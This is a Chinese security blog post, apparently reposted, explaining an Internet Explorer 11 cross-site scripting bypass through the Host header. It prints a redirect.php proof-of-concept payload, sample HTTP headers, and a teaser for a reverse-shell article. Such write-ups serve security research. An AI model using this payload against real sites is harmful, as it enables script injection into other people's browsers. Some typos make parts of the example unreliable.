XSS:IE下Host头XSS绕过

  • A+
所属分类:安全博客

0x00

有些网站会将HTTP Header里的Host项打印出来(就像参考里说的Google)。那么我们就可以利用这一点,在IE里通过Host Header来进行XSS绕过。
影响版本:IE 11

0x01 IE对跳转链接的解析问题

同样是对跳转链接的解析,感觉IE这方面出了好多问题。
例如,我们构造一个跳转页面

# redirect.php
<script>
window.location.href="http://target.com%252fvul.php";
</script>

这里的%252f是对/进行了两次URLEncode。
在IE里,若是访问这个页面,那么Response Header会像这样

HTTP/1.1 302 Found
Server: nginx/1.13.4
Date: Fri, 25 Aug 2017 04:17:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.8
Location: http://target.com%252fvul.php
Content-Length: 0

而跳转的Request Header会是这样

GET /vul.phphp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 127.0.0.1/vul.php
Connection: close

在这里就出现问题了。
首先是GET后面的路径异常,而后是Host后面的主机地址居然带上了我们的请求路径??
对于这部分的解释可以看文末的参考链接,在这里我们先讲如何利用。

由上面可以看出,我们若是将跳转链接中的/全部进行二次URLEncode,那么在跳转请求里的Host Header里就会带上我们的请求路径。
那么很简单,构造一个这样的跳转页面就可以了

# redirect.php
<script>
window.location.href="http://target.com%252f%3c%252ftitle%3e%3cscript%3Ealert%28document.domain%29%3C%252fscript%3E');";
</script>

0x04 参考

XSS via Host header – www.google.com/cse

FROM :rickyhao.com | rickyhao.com

相关推荐: Linux反弹shell

Linux反弹shell/01 bash -i反弹一,命令分解前置知识文件描述符: 0 —————- 标准输入 1 —————– 标准输出 2 —————– 标准错误输出 重定向符: 1> ------------ 更改标准输出 1< ------…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: